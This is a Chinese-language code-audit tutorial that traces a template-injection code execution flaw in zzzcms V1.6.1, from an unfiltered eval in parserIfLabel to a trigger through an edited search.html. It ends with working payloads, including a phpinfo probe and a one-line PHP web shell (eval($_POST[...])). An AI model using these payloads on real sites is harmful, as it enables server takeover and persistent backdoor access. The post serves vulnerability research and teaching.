再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

  • A+
所属分类:代码审计

本文作者:sher10ck

zzzcms 的后台模板处的命令执行可以说是这套 CMS 比较典型的漏洞了,很久之前自己跟踪过一遍漏洞代码,最近又拿起来玩了玩,发现自己也能够审计到这个漏洞点,整个漏洞审计的过程也很简单,没有啥骚操作。

下面我就会按照审计的思路,而并非漏洞分析的思路,给大家说说我是如何通过自己的努力审计出这个命令执行漏洞的

cms 下载地址:

https://yunpan.360.cn/surl_ycSTDKgjnKt

这里我下载的是V1.6.1

定位漏洞点

审计的时候我是直接全局搜索敏感函数 php 代码执行函数:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function 

首先看下 eval,全局搜索

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

仔细翻翻看,存在 eval 函数的 php 文件就只有这一个 zzz_template.php,而我们的这个命令执行的漏洞点也就是存在这里。(惊不惊喜,发现漏洞点其实就是这么简单)

跟踪到了 /inc/zzz_template.php 中的 parserIfLabel 函数

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

有嫌疑的点我们找到了,接下来我们仔细看看这个函数

细看漏洞函数

来看一下这个函数的逻辑

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

无敌,看起来并没有啥过滤,我们本地将这个函数弄出来测试一下

这里将我们 $zcontent 的值构造一下

<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';parserIfLabel( $zcontent );
function parserIfLabel( $zcontent ) { $pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/'; if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } }}
function cleft( $str, $start = 0, $num = 1 ) { $var = trim( $str ); $result = substr( $var, $start, $num ); return $result;}?>

访问:

http://127.0.0.1/test.php

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

成功执行命令了,这个函数存在命令执行漏洞!

如何调用漏洞函数

这里又出现了一个问题,漏洞函数找到了,如何去调用这一个函数呢?

在审计的时候我一般会有两种思路:

1、特定的功能点调用漏洞函数,我们寻找功能点

2、可以直接 url 调用漏洞函数,构造 url 触发漏洞

大家可以自行尝试一下这两种思路。

那么这里是哪种呢,往下看,我们看看 zzz_template.php 的整体架构。

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

原来我们这里的 parserIfLabel 函数是在 ParserTemplate 类中的,而且这个类中的 parserCommom 也会调用这个函数。

那么想触发我们的漏洞函数,首先必须要生成 ParserTemplate 这个类。

全局搜索

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

这里在两个文件中出现了 ParserTemplate 类,一个是 /admin123/save.php,另外一个是 zzz_client.php,不喜欢看后台我就直接看了下 zzz_client.php

zzz_client.php 中匹配到了多次,我们一个一个来看

第一个匹配点,利用失败

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

注意上面的 if 条件:$location=='user'

我们继续跟踪 $location 这个变量,来到了line23

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

跟踪 getlocation() 这个函数

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

其实下面还有一大段代码没有截出来,但是没有关系,我们只需要用 get 请求 location 参数,举个例子:

我们构造url:

http://127.0.0.1/zzzphpV1.6.1/?location=user

那么我们的参数:

$location=user

这样就能满足我们的条件了,继续看 if 里面的内容,我这里继续贴出关键的代码:

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

这里的 TPL_DIR 的值为 **templatepccn2016html**,怎么构造的可以自己跟踪一下

整个流程我简化出来了,要是我们可以将我们的 $zcontent 修改成我们构造好的内容,那岂不是就能够触发了。

所以这个点我们要修改 templatepccn2016htmluserlogin.html 中的内容,这里后台给我们提供了这样的功能。

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

但是我们发现 html 文件夹下并不存在 userlogin.html,尴尬了,又不能自己新建一个。

看来 location 为 user 这条路走不通,继续看下一个。

第 N 个匹配点,利用成功

失败乃成功之母,在我跟踪了 N 次之后,终于找到了可以利用的一个点(大家可以自行尝试一下)

其实也就是第三个匹配的点,前两个用的有点鸡肋。

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

当我们的 $location=search/form/screen/app 的时候进入下一步。

html 文件下并不存在 form/screen/app.html,这里只能利用 search 了呀。

于是乎我访问了

http://127.0.0.1/zzzphpV1.6.1/?location=serach

并没有跳转到 search 的页面,而是给我返回到了主页,按道理来说应该是能行的啊,后来发现问题在 getlocation 这个函数里面的 checklocation 函数

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

search 并不在这几个列表里面,那要想办法继续搞啊,于是我继续细看了 getlocation 函数,发现一个有意思的地方

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

要是 search 自定义了 LOCATION 就好了,全局搜索这个 LOCATION

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

嘿嘿,正好 search 中定义了这个值,在 searchindex.php 中,这不就刚好吗,我去修改了 html 下的search.html

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

然后访问

http://127.0.0.1/zzzphpV1.6.1/search/index.php

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

成功执行 phpinfo

phpinfo_payload:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

一句话 payload:

{if:<?php eval($_POST[sss]) ?>}phpinfo();{end if}

还有没有其他可以利用的点就靠大家自行去挖掘了

总结

自身的审计能力和漏洞复现跟踪代码完全是两码事,复现看懂了漏洞成因你不一定能够审计的出来,自身的审计能力也需要经过大量的思考才会有所提升,希望大家都能够静下心来看会代码,漏洞就在那里,看你是否主动去寻找到它了,希望这篇文章能对你有所帮助。

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

本文始发于微信公众号(信安之路):再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: